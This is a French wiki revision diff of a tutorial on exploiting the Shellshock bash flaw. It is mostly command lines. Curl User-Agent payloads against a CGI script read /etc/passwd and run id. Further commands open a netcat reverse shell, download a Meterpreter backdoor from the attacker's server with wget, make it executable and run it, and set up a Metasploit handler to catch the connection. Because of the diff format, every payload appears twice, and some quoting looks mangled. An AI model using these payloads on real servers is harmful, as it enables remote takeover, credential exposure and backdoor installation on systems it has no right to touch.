Outils pour utilisateurs

Outils du site


appsysteme:bash_-_shellshock

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
Prochaine révision
Révision précédente
Prochaine révision Les deux révisions suivantes
appsysteme:bash_-_shellshock [2016/01/30 21:39]
arkinar
appsysteme:bash_-_shellshock [2016/02/02 08:10]
arkinar
Ligne 25: Ligne 25:
 Voici un petite ligne de code pour voir si vous êtes vulnérable : Voici un petite ligne de code pour voir si vous êtes vulnérable :
  
-env x='() { :;}; echo vulnérable'​ bash -c "echo ceci est un test"+<​code>​env x='() { :;}; echo vulnérable'​ bash -c "echo ceci est un test"</​code>​
  
 Si elle vous renvoi : "​Vulnérable"​ Si elle vous renvoi : "​Vulnérable"​
Ligne 39: Ligne 39:
 Commençons simplement : Commençons simplement :
  
-curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com+<​code>​curl -H User-Agent: () { :; }; /bin/eject; http://​mon_serveur_faillible.com ​</​code>​
  
 curl est une commande linux permettant de forger des requêtes HTTP.  curl est une commande linux permettant de forger des requêtes HTTP. 
Ligne 49: Ligne 49:
 Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/ cat /​etc/​passwd;​  +<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ cat /​etc/​passwd;​  
-http://​mon_serveur_faillible.com/​cgi-bin/​status+http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Cette commande quand à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​ Cette commande quand à elle aura pour effet d'​afficher le contenu de /etc/passwd de la machine distante. ​
Ligne 56: Ligne 56:
 L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera contenu dans la requête HTTP. L'​option -A nous permet d’accéder au contenu de l'​user-agent qui sera contenu dans la requête HTTP.
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo; /usr/bin/id ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Cette commande nous donne l'​identifiant du compte sur lequel on exécute les commandes. Cette commande nous donne l'​identifiant du compte sur lequel on exécute les commandes.
Ligne 66: Ligne 66:
 Netcat est un utilitaire permettant d'​ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : Netcat est un utilitaire permettant d'​ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez :
  
- nc -l 333+ <​code>​nc -l 333 </​code>​
  
 L'​option -l permet d'​écouter sur le port 333 (c'est bien un L et non I majuscule) L'​option -l permet d'​écouter sur le port 333 (c'est bien un L et non I majuscule)
Ligne 72: Ligne 72:
 Dans un autre terminal : Dans un autre terminal :
  
-curl -A ;() { :;}; /bin/nc -e /bin/sh http://​mon_serveur/​ 333; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; /bin/nc -e /bin/sh http://​mon_serveur/​ 333; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'​option -e Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'​option -e
Ligne 88: Ligne 88:
 On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur On va d'​abord commencer par trouver un endroit où l'on peut écrire sur le serveur
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ ls -al /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Généralement dans le dossier personnel de l'​utilisateur avec lequel on exécute les commandes. Généralement dans le dossier personnel de l'​utilisateur avec lequel on exécute les commandes.
Ligne 98: Ligne 98:
 Pour le générer : Pour le générer :
  
-msfpayload linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.1.1 LPORT=4443 ​+<​code>​msfpayload linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.1.1 LPORT=4443</​code> ​
  
 Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits.
Ligne 110: Ligne 110:
 Démarrer votre service apache : Démarrer votre service apache :
  
-/​etc/​init.d/​apache2 start+<​code>​/​etc/​init.d/​apache2 start</​code>​
  
 Copier le fichier lbdoor dans /var/www/ Copier le fichier lbdoor dans /var/www/
Ligne 116: Ligne 116:
 Nous allons le télécharger sur le serveur de la vulnérable : Nous allons le télécharger sur le serveur de la vulnérable :
  
-curl -A;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/ wget http://​mon_serveur/​lbdoor -P /​home/​notre_user ​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status ​</​code>​
  
 On lui ajoute les droits d’exécution : On lui ajoute les droits d’exécution :
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/​plain;;​ echo;  /bin/chmod +x /​home/​notre_user/​lbdoor ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 {{ :​appsysteme:​metasploit_shellshock.png?​nolink |}} {{ :​appsysteme:​metasploit_shellshock.png?​nolink |}}
Ligne 126: Ligne 126:
 On ouvre Metasploit : On ouvre Metasploit :
  
-msfconsole+<​code>​msfconsole</​code>​
  
 On sélectionne le module qui nous permettra d’écouter les connexions entrante : On sélectionne le module qui nous permettra d’écouter les connexions entrante :
  
-use exploit/​multi/​handler+<​code>​use exploit/​multi/​handler</​code>​
  
 On lui stipule qu'​elle type de connexion il doit attendre : On lui stipule qu'​elle type de connexion il doit attendre :
  
-set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp+<​code>​set PAYLOAD linux/​x86/​meterpreter/​reverse_tcp</​code>​
  
 On lui stipule sur qu'​elle host il doit attendre la connexion : On lui stipule sur qu'​elle host il doit attendre la connexion :
  
-set LHOST 192.168.1.1+<​code>​set LHOST 192.168.1.1</​code>​
  
 On lui stipule sur qu'​elle port il doit attendre la connexion : On lui stipule sur qu'​elle port il doit attendre la connexion :
  
-set LPORT 4443+<​code>​set LPORT 4443</​code>​
  
 Et on exécute : Et on exécute :
  
-run+<​code>​run</​code>​
  
 Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. Attention il faut bien donner les mêmes informations que lorsque le payload a été généré.
Ligne 157: Ligne 157:
 Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable:​ Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable:​
  
-curl -A ;() { :;}; echo ;​Content-type:​ text/plain;; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status+<​code>​curl -A ;() { :;}; echo ;​Content-type:​ text/plain; echo;  /bin/bash -c ;/​home/​notre_user/​lbdoor;​ ; http://​mon_serveur_faillible.com/​cgi-bin/​status</​code>​
  
 Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé.
appsysteme/bash_-_shellshock.txt · Dernière modification: 2016/07/04 08:38 (modification externe)